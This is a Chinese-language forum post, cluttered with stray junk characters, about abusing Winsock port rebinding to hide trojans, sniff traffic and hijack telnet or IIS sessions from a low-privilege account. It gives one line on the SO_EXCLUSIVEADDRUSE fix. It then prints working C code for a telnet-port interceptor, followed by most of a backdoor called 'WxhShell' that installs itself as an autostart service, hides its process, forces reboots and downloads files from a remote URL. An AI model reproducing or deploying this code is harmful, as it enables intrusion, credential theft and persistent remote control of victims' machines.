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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 7~f"8\  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Of@ LEEh6  
\x(ILk|'c  
  saddr.sin_family = AF_INET; [v%j?  
_{k-&I  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); n^xB_DJ~  
wr`+xYuuC=  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ZYMacTeJjg  
m,3H]  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 x@aWvrL  
eI#b%h  
  这意味着什么?意味着可以进行如下的攻击: He1hgJ)N  
tjId?}\  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 jeu|9{iTVu  
8c%Sd'+Pt  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) LtK= nK  
m ?)k&{I  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 @,\J\ rb  
l(~i>iQ 4  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ^J]_O_ee$  
/%F}vW(!  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 p)k5Uh"  
9-`P\/  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ;Yr?"|  
# s}&  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 :svKE.7{  
mD"[z}r)  
  #include Md5|j0#p  
  #include n)bbEXO  
  #include pRez${f.(s  
  #include    .@`5>_  
  DWORD WINAPI ClientThread(LPVOID lpParam);   <Na .6P  
  int main() Tu[I84  
  { C" 2K U*  
  WORD wVersionRequested; g^mnYg5  
  DWORD ret; <0h,{28  
  WSADATA wsaData; {^ jRV@  
  BOOL val; W{l{O1,  
  SOCKADDR_IN saddr; 4^IqHx;bj  
  SOCKADDR_IN scaddr; J=`2{ 'l  
  int err; H'_v  
  SOCKET s; nQm (UN  
  SOCKET sc; %s;=H)8  
  int caddsize; wV{jJyRl  
  HANDLE mt; W|I<hY\X  
  DWORD tid;   :G8:b.  
  wVersionRequested = MAKEWORD( 2, 2 ); ]IM/R@  
  err = WSAStartup( wVersionRequested, &wsaData ); g)**)mz[  
  if ( err != 0 ) { ={k_ (8]  
  printf("error!WSAStartup failed!\n"); ]*&`J4i  
  return -1; G)8H9EV  
  } ]ME2V  
  saddr.sin_family = AF_INET; 5\jzIB_?  
   ZQ)vvD<  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 v"v-c!k  
v~AD7k2{8  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); G pC*w ~  
  saddr.sin_port = htons(23); h2_A'  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) jiGXFM2  
  { a)qlrtCl  
  printf("error!socket failed!\n"); 9\S,$A{{*  
  return -1; }xb?C""q^q  
  } C.(<IcSG  
  val = TRUE; e9p!Caf~I-  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 :={rPj-nU  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) %c-T Gr,  
  { fpA%:V  
  printf("error!setsockopt failed!\n"); u 2%E(pr  
  return -1; ? \p,s-CR:  
  } u+Sj#iZ  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; zS/1v+  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 =}OcMM`f  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 UPGS/Xs]1  
2SRmh!hr  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) l\"wdS}  
  { W6!o=()  
  ret=GetLastError(); 0wpGIT!2  
  printf("error!bind failed!\n"); ,\'E<O2T  
  return -1; {osadXd C  
  } D0*+7n3  
  listen(s,2); ,: Z7P@  
  while(1) Gg# 1k TK  
  { O3En+m~3n)  
  caddsize = sizeof(scaddr); xO 6$:o-  
  //接受连接请求 Rl[SqmnI)@  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); X ApSKJ  
  if(sc!=INVALID_SOCKET) t+IrQf,P[  
  { mBON>Z [4.  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); /kc @ELl  
  if(mt==NULL) 6 vr8rJ-  
  {  BRF4 p:  
  printf("Thread Creat Failed!\n"); ()ZP =\L  
  break; `6FH@" |I  
  } #%{x*y:Ms  
  } xv 9 G%  
  CloseHandle(mt); :} N;OS_  
  } 5]F4.sa  
  closesocket(s); ' )~G2Ys  
  WSACleanup(); -/LB-t  
  return 0; q!whWA  
  }   L',7@W  
  DWORD WINAPI ClientThread(LPVOID lpParam) ur JR[$p  
  { 5D<"kT  
  SOCKET ss = (SOCKET)lpParam; KF}_|~~T  
  SOCKET sc; V\P .uOI  
  unsigned char buf[4096]; +x)x&;B)/  
  SOCKADDR_IN saddr; _[{oK G^u  
  long num; dhmrh5Uf  
  DWORD val; v])R6-T-  
  DWORD ret; I7?s+vyds  
  //如果是隐藏端口应用的话,可以在此处加一些判断 hO..j  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   2U rE>_  
  saddr.sin_family = AF_INET; )vy_m_f&  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); , %$Cfu  
  saddr.sin_port = htons(23); |v@ zyOq&b  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Cg&:+  
  { )@E'yHYO>  
  printf("error!socket failed!\n"); '$y.`/$  
  return -1; drd5o Z  
  } KDu~,P]  
  val = 100; &O|qx~(  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ~NB lJULS  
  { c'uDK>  
  ret = GetLastError(); #(1R:z\:  
  return -1; =e|  
  } 9}#9i^%}  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) &U{"dJr  
  { MUR Hv3  
  ret = GetLastError(); 3 , nr*R!  
  return -1; ydf;g5OZ  
  } i$dF0.}Q  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) %)PQomn?  
  { T74."Lo#  
  printf("error!socket connect failed!\n"); e<-^  
  closesocket(sc); Q)ZbnR2Z8  
  closesocket(ss); Ujfs!ikh&F  
  return -1; -A)/CFIZ  
  } HVaKy+RU  
  while(1) %nT&  
  { S'(Hl}h!.  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 U_1N*XK6$  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 GL'zNQP-  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 h f9yK6  
  num = recv(ss,buf,4096,0); [*v- i%U}  
  if(num>0) /*hS0xN*  
  send(sc,buf,num,0); y];@ M<<?e  
  else if(num==0) xT;j_'9U;  
  break; y>|AX/n  
  num = recv(sc,buf,4096,0); A^@,Ha  
  if(num>0) ;ksxz  
  send(ss,buf,num,0); _Rey~]iJJ8  
  else if(num==0) .8/W_iC92  
  break; jWJ/gv~ $  
  } .Af H>)E  
  closesocket(ss); `]m/za%7  
  closesocket(sc); HQtUNtZ  
  return 0 ; Ps9YP B-  
  } tqT-9sEXX.  
IXt cHAgX  
FN295:Iuw  
==========================================================  9Li.B1j  
A3mSSc6  
下边附上一个代码,,WXhSHELL u}BN)%`B  
77o&$l,A|  
========================================================== &{(8EvuDd  
wVY;)1?  
#include "stdafx.h" {#J1D*?$"  
3:G94cp5  
#include <stdio.h> ~[9(}UM  
#include <string.h>  =[G)  
#include <windows.h> .47tj`L   
#include <winsock2.h> 8@'Q=".J  
#include <winsvc.h> Trwk9 +  
#include <urlmon.h> XqK\'8]\Mw  
N~@VZbS(6  
#pragma comment (lib, "Ws2_32.lib") 3+| {O  
#pragma comment (lib, "urlmon.lib") ZeY kZzN  
]6 vqgu  
#define MAX_USER   100 // 最大客户端连接数 5 ,1q%  
#define BUF_SOCK   200 // sock buffer .3*VkAs  
#define KEY_BUFF   255 // 输入 buffer Afq?Ps+  
BdZO$ALXL  
#define REBOOT     0   // 重启 hg=BXe4:  
#define SHUTDOWN   1   // 关机 l#G }j^Q  
/]*#+;;%  
#define DEF_PORT   5000 // 监听端口 yNu%D$6u7  
9XPQ1LSx  
#define REG_LEN     16   // 注册表键长度 FI|@=l;_  
#define SVC_LEN     80   // NT服务名长度 + s snCr  
,-[dr|.  
// 从dll定义API ,0R2k `m!  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); =#c?g Wb56  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Ug|o ($CY  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); h f1f  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); c(<,qWH  
-O=a"G=  
// wxhshell配置信息 )!``P?3?  
struct WSCFG { I=3e@aTZ,  
  int ws_port;         // 监听端口 e!(0y)*  
  char ws_passstr[REG_LEN]; // 口令 jW-j+ WGSM  
  int ws_autoins;       // 安装标记, 1=yes 0=no GL_a`.=@  
  char ws_regname[REG_LEN]; // 注册表键名 (mJqI)m8  
  char ws_svcname[REG_LEN]; // 服务名 ZP& "[_  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 t $+46**  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 $*{$90 Q  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 uUczD 8y  
int ws_downexe;       // 下载执行标记, 1=yes 0=no o(/(`/  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" zaVDe9B,7  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 3 T3p[q4  
6_wf $(im  
}; 5M{ DJ/q  
Eqg(U0k0  
// default Wxhshell configuration *eO@<j?  
struct WSCFG wscfg={DEF_PORT, fFfH9cl!  
    "xuhuanlingzhe", PIuk]&L^  
    1, Lw]:/x  
    "Wxhshell", A2b C5lA  
    "Wxhshell", F` ifHO  
            "WxhShell Service", %&yD^ q_  
    "Wrsky Windows CmdShell Service", o4b!U%  
    "Please Input Your Password: ", ]8q5k5~  
  1, )CzWq}:  
  "http://www.wrsky.com/wxhshell.exe", KsGSs9  
  "Wxhshell.exe" .Jz$)R  
    }; v?yHj-  
_gY so]S^B  
// 消息定义模块 WG;1[o&  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; S #X$QD  
char *msg_ws_prompt="\n\r? for help\n\r#>"; MO :##C  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; x,js}Mlw  
char *msg_ws_ext="\n\rExit."; ~$f+]7  
char *msg_ws_end="\n\rQuit."; \>j._#t$h  
char *msg_ws_boot="\n\rReboot..."; \K)"@gdW  
char *msg_ws_poff="\n\rShutdown..."; P sD+?  
char *msg_ws_down="\n\rSave to "; aI|<t^X  
&G@*/2A  
char *msg_ws_err="\n\rErr!"; ke~O+]  
char *msg_ws_ok="\n\rOK!"; f{lg{gA(  
QzIK580%t  
char ExeFile[MAX_PATH]; sb_>D`>  
int nUser = 0; ~\K+)(\SNp  
HANDLE handles[MAX_USER]; |Gjd  
int OsIsNt; w&v_#\T  
o:#MP(h,N  
SERVICE_STATUS       serviceStatus; uj&^W[s  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Wn24eld"x  
/yIkHb^c   
// 函数声明 :gb7Py'C  
int Install(void); -) $$4<L  
int Uninstall(void); K(Otgp+zb  
int DownloadFile(char *sURL, SOCKET wsh); [Y*p I&f  
int Boot(int flag); G3 #c  
void HideProc(void); 4NwGP^ n  
int GetOsVer(void); L1.<LB^4'  
int Wxhshell(SOCKET wsl); _C"W;n'  
void TalkWithClient(void *cs); @6ZQkX/  
int CmdShell(SOCKET sock); Ol"p^sqwj  
int StartFromService(void); ,a< !d  
int StartWxhshell(LPSTR lpCmdLine); S8<O$^L^  
w*Sl  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); *gu~7&yoP  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); UBi0 /  
M'HmVg4'  
// 数据结构和表定义 <<v,9*h  
SERVICE_TABLE_ENTRY DispatchTable[] = ,/|"0$p2x  
{ w^NE`4 -  
{wscfg.ws_svcname, NTServiceMain}, (2QFwBW]  
{NULL, NULL} [1dlV/  
}; "m _wYX  
0NZg[>H  
// 自我安装 >I8R[@  
int Install(void) ,#UaWq@7  
{ o{?s\)aBa  
  char svExeFile[MAX_PATH]; D^I%tn=F  
  HKEY key; %Ox*?l _  
  strcpy(svExeFile,ExeFile); d;9 X1`"  
\NS\>Q+d  
// 如果是win9x系统,修改注册表设为自启动 ?W9$=  
if(!OsIsNt) { ]U! ?{~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  EP'2'51  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); zm9>"(H  
  RegCloseKey(key); ^4O1:_|G  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { z(aei(U=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9Rzu0:r.,  
  RegCloseKey(key); i(2s"Uww,  
  return 0; *rK}Ai  
    } w=s:e M@  
  } 6^s=25>p  
} TV#pUQ3K  
else { cMsm[D{b  
lSUEE0V%Q  
// 如果是NT以上系统,安装为系统服务 Im+<oZ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ,sn ?V~)  
if (schSCManager!=0) lDnF(  
{ s}uOht} o  
  SC_HANDLE schService = CreateService xD,BlDV  
  ( ,H2[["1DH  
  schSCManager, Qn ME|j\  
  wscfg.ws_svcname, MVs@~=  
  wscfg.ws_svcdisp, 8Sd<!  
  SERVICE_ALL_ACCESS, '0[D-jEr  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , A/|To!R  
  SERVICE_AUTO_START, Z O5_n  
  SERVICE_ERROR_NORMAL, 1\=)b< y  
  svExeFile, Waj6.PCFm  
  NULL, (y[+s?;WyB  
  NULL, 9i*t3W71]  
  NULL, :$~)i?ge<5  
  NULL, $d3al%Uo  
  NULL d`5xd@p  
  ); J70#pF  
  if (schService!=0) uPr'by  
  { c3W9"  
  CloseServiceHandle(schService); (/Lo44wT  
  CloseServiceHandle(schSCManager); =&;orP  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 7xTgG!>v  
  strcat(svExeFile,wscfg.ws_svcname); rG|lRT3-K  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Hm!ffqO_  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ?`bi8 Ck  
  RegCloseKey(key); 47 xyS%X  
  return 0; 6c,]N@,Zw  
    } h+<vWo}H  
  } `U?" {;j {  
  CloseServiceHandle(schSCManager); tPBr{  
} j*+[=X/  
} [-5%[ty9X  
-c|dTZ8D)8  
return 1; iZ}Afj  
} ?~X*\  
r6S-G{o  
// 自我卸载 qM= $,s*  
int Uninstall(void) a9]F.Jm  
{ }%Mj`Bh  
  HKEY key; 3D32'KO_"  
`G7LM55  
if(!OsIsNt) { +a1Or  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { TgMa! Vz  
  RegDeleteValue(key,wscfg.ws_regname); U4)x"s[CP  
  RegCloseKey(key); VBnD:w"z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9 Rl-Jz8g  
  RegDeleteValue(key,wscfg.ws_regname); ^{Wx\+*!  
  RegCloseKey(key); zwJB.4@  
  return 0; Q^13KWvuV  
  } &! i'Q;q  
} ASGV3r (  
} 6d~[j <@2  
else { 8xf]zM"Q  
%G6Q+LMwm  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); z`g4<  
if (schSCManager!=0) ox:m;-Ml?_  
{ g Va;!  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 6sceymq  
  if (schService!=0) , e^&,5b  
  { m\*;Fx  
  if(DeleteService(schService)!=0) { E>LZw>^Y J  
  CloseServiceHandle(schService); kXW5bR  
  CloseServiceHandle(schSCManager); JG^fu*K  
  return 0; {7d(B1[1  
  } ]bcAbCZ@  
  CloseServiceHandle(schService); Dh+<|6mx  
  } e^!>W %.7Z  
  CloseServiceHandle(schSCManager); 3R|Ub G`  
} ,c]<Yu  
} (1%O;D.*?{  
!LI 8Xk  
return 1; B`<a~V  
} eewlK]  
itYTV?bd  
// 从指定url下载文件 m!Y4+KTwD`  
int DownloadFile(char *sURL, SOCKET wsh) G/ sRi wL  
{ 2^aXXPC  
  HRESULT hr; >DM^/EAG{  
char seps[]= "/"; $I0&I[_LzK  
char *token; oaac.7.fV  
char *file; =|+%^)E  
char myURL[MAX_PATH]; )L+>^cJI<  
char myFILE[MAX_PATH]; %ztv.K(8  
>mAi/TZC  
strcpy(myURL,sURL); ee2k..Tq#  
  token=strtok(myURL,seps); Cl>|*h+m  
  while(token!=NULL) )U|0vr8:  
  { 99GK6}~TGm  
    file=token; MV.&GUez{  
  token=strtok(NULL,seps); 2#81oz&K  
  } :pJK Z2B,  
@f!r"P]  
GetCurrentDirectory(MAX_PATH,myFILE); 4e20\q_{  
strcat(myFILE, "\\"); 2}uSrA7n]  
strcat(myFILE, file); )+ (GE  
  send(wsh,myFILE,strlen(myFILE),0); 7lUnqX.  
send(wsh,"...",3,0); c BcZ@e;  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); /{R>o0oW  
  if(hr==S_OK) [QDM_n  
return 0; mS?W+jy%  
else _aP 2gH  
return 1; f0@4 >\g  
0'Uo3jAB  
} 2cQG2N2*  
Y52TC@'  
// 系统电源模块 "1wjh=@z  
int Boot(int flag) `f<&=_,xfH  
{ 1|WrJ-Uf  
  HANDLE hToken; /l` "@  
  TOKEN_PRIVILEGES tkp; Pi5($cn  
sl_f+h0  
  if(OsIsNt) { bH}?DMq]O  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 9GgXX9K  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); cqG&n0zb  
    tkp.PrivilegeCount = 1; * "d['V3  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; '/F%  ff  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); -Oplk*  
if(flag==REBOOT) { z3p TdUt  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) !B/5@P  
  return 0; /_mU%fl  
} Hrg -5_  
else { RjxFlKs8  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) BIxjY!!"  
  return 0; R*O<(  
} UT%?3}*u"  
  } z9 $1jC  
  else { ,zOv-pH  
if(flag==REBOOT) { YP`/dX"4  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) JN-W`2  
  return 0; QV>hQ]L  
} b[^|.>b  
else { dmYgv^t  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ! i8'gq'q  
  return 0; TJ>$ ~9&Sy  
} ~j yl  
} *6wt+twH  
cH`ziZ<&m1  
return 1; -r%k)4_  
} @a}\]REn  
F.iJz4ya_  
// win9x进程隐藏模块 <"Yx}5n.  
void HideProc(void) {-l:F2i  
{ qS[KB\RN1  
Xz!O}M{4  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); )\+1*R|H}  
  if ( hKernel != NULL ) qa,i:T(w  
  { ys9'1+9  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); H'?dsc  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ~m&q@ms&  
    FreeLibrary(hKernel); ]5+<Rqdbg  
  } V5rW_X:]8  
bG/[mZpRT  
return; Qq<+QL|  
} {7^D!lis  
^v&)z ,  
// 获取操作系统版本 #T08H,W/  
int GetOsVer(void) .-}F~FES  
{ 7;SI=  
  OSVERSIONINFO winfo; ,IRy. qy  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); f5,!,]XO  
  GetVersionEx(&winfo); +&.wc;mi  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) %YwIR.o  
  return 1; V%JG :'6L  
  else 9Bi{X_.9  
  return 0; A;7At!kK  
} hw 0u?++  
sJ7ZE-v]h  
// 客户端句柄模块 GI)eq:K_U8  
int Wxhshell(SOCKET wsl) Mb'Tx  
{ oNp(GQ@0  
  SOCKET wsh; z<,-:=BC"  
  struct sockaddr_in client; *V?p&/>MT  
  DWORD myID; kGW4kuh)/q  
"w:?WS  
  while(nUser<MAX_USER) ehyCAp0oI  
{ 15CKcM6  
  int nSize=sizeof(client); 18o5Gs;yx  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); >_SqM!^v  
  if(wsh==INVALID_SOCKET) return 1; b9TsuY  
X*e<g=  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 52q<|MW%  
if(handles[nUser]==0) ~JG\b?s  
  closesocket(wsh); ( !0fmL  
else %SJFuw"  
  nUser++; j S<."a/n  
  } ~'#,*kA:6  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); rixt_}aE  
LuvRxmQ`  
  return 0; ;lc/FV[/  
} EJ=ud9  
r"&VG2c0K  
// 关闭 socket s|IC;C|  
void CloseIt(SOCKET wsh) k.!m-5E  
{ R>R8LIZZc  
closesocket(wsh); ;Miag'7  
nUser--; -;j ' =?  
ExitThread(0); cc{^0JT  
} 89\DS!\x9  
a}[ 1*_G  
// 客户端请求句柄 XxLauJP K  
void TalkWithClient(void *cs) =_Ip0FfK!  
{ ~ ^*;#[<  
pFcCe 'd"  
  SOCKET wsh=(SOCKET)cs; n>W*y|UJ  
  char pwd[SVC_LEN]; $$e"[g  
  char cmd[KEY_BUFF]; Q|(G -  
char chr[1]; T':} p2}w+  
int i,j; 5DmW5w'p  
_p;=]#+c&  
  while (nUser < MAX_USER) { T.pc3+B8N  
A^vvw~!d  
if(wscfg.ws_passstr) { 0$=w8tP)  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 4KB>O)YNg'  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); IIO-Jr  
  //ZeroMemory(pwd,KEY_BUFF); ^0HgE;4  
      i=0; 5F$~ZDu  
  while(i<SVC_LEN) { PauF)p  
qu%}b>  
  // 设置超时 :N64FR#  
  fd_set FdRead; QE+HL8c^s  
  struct timeval TimeOut; Y(B3M=j  
  FD_ZERO(&FdRead); Q/`W[Et  
  FD_SET(wsh,&FdRead); x Tf|u  
  TimeOut.tv_sec=8; OE=.@Ry"  
  TimeOut.tv_usec=0; s2"<<P[q'  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); *;[g Ga~  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ~PyZh5x  
N"A`tc5&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #Q@~ TW  
  pwd=chr[0]; X.eocy  
  if(chr[0]==0xd || chr[0]==0xa) { T\w{&3ONm  
  pwd=0; /a }` y  
  break; -8Hv3J'=  
  } W~j>&PK,?  
  i++; +g&M@8XO&  
    } =w ! 6un  
cs?IzIQ  
  // 如果是非法用户,关闭 socket y'C  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); { t@7r  
} /" @cv{  
4 }NCdGD  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Q!{,^Qb  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Y2$xlqQd"  
"'~&D/7  
while(1) { LwcAF g|  
X3m)  
  ZeroMemory(cmd,KEY_BUFF); BMb0Pu 8  
upiYo(sN.  
      // 自动支持客户端 telnet标准   MH/bJtNq  
  j=0; a xz-H`oq4  
  while(j<KEY_BUFF) { %xdyG Al:  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4o<' fY  
  cmd[j]=chr[0]; #N'bhs  
  if(chr[0]==0xa || chr[0]==0xd) { o]<J&<WM  
  cmd[j]=0; w%$J<Z^-?  
  break; gP`CQ0t  
  } |LirjC4  
  j++; 6*:U1{Gl)  
    } OlM3G^1e1  
?hKpJA'%  
  // 下载文件 _8e0vi!~2  
  if(strstr(cmd,"http://")) { XA\wZV |{  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); vf-8DB  
  if(DownloadFile(cmd,wsh)) -'T^gEd) c  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); i93^E~q]  
  else x#fv<Cj4  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rC6@ ]  
  } @b{$s  
  else { yC[Q-P*rG  
,zh_-2^X  
    switch(cmd[0]) { I "HEXsSe  
  '^(qlCI  
  // 帮助 5ljEh -  
  case '?': { JhvT+"~  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); (#nB90E{*  
    break; JG@Zb}b  
  } ] -%B4lT  
  // 安装 0qL.Rnt  
  case 'i': { n$<n Yr`X  
    if(Install()) ])?[9c  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xXCsJ9]  
    else *mn"G K6  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); P?Kg7m W  
    break; gdS@NUM  
    } |d=GAW v  
  // 卸载 h]&o)%{4  
  case 'r': { l_pf9 !z  
    if(Uninstall()) zA| )9Dq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); L&&AK`Ur3l  
    else uCc5)  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -fOBM 4  
    break; fni7HBV?  
    } fzUG1|$e  
  // 显示 wxhshell 所在路径 XoGOY|2`6  
  case 'p': { `o21f{1]X&  
    char svExeFile[MAX_PATH]; dg&GMo  
    strcpy(svExeFile,"\n\r"); GjbOc   
      strcat(svExeFile,ExeFile); 63kZ#5g(Dw  
        send(wsh,svExeFile,strlen(svExeFile),0); ynJ)6n7a  
    break; oWq]\yT<`  
    } Pb<6-Jc[  
  // 重启 1^2]~R9,9  
  case 'b': { 4)Ew rU  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); L$^)QxH7  
    if(Boot(REBOOT)) x^McUfdr|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); TWdhl9Ot  
    else { tv5N wM  
    closesocket(wsh); ,r;E[k@  
    ExitThread(0); NT{ 'BJ  
    } 60l!3o"p!  
    break; A-u!{F  
    } ={50>WXE  
  // 关机 u]P9ip"Z  
  case 'd': { d}wE4(]b  
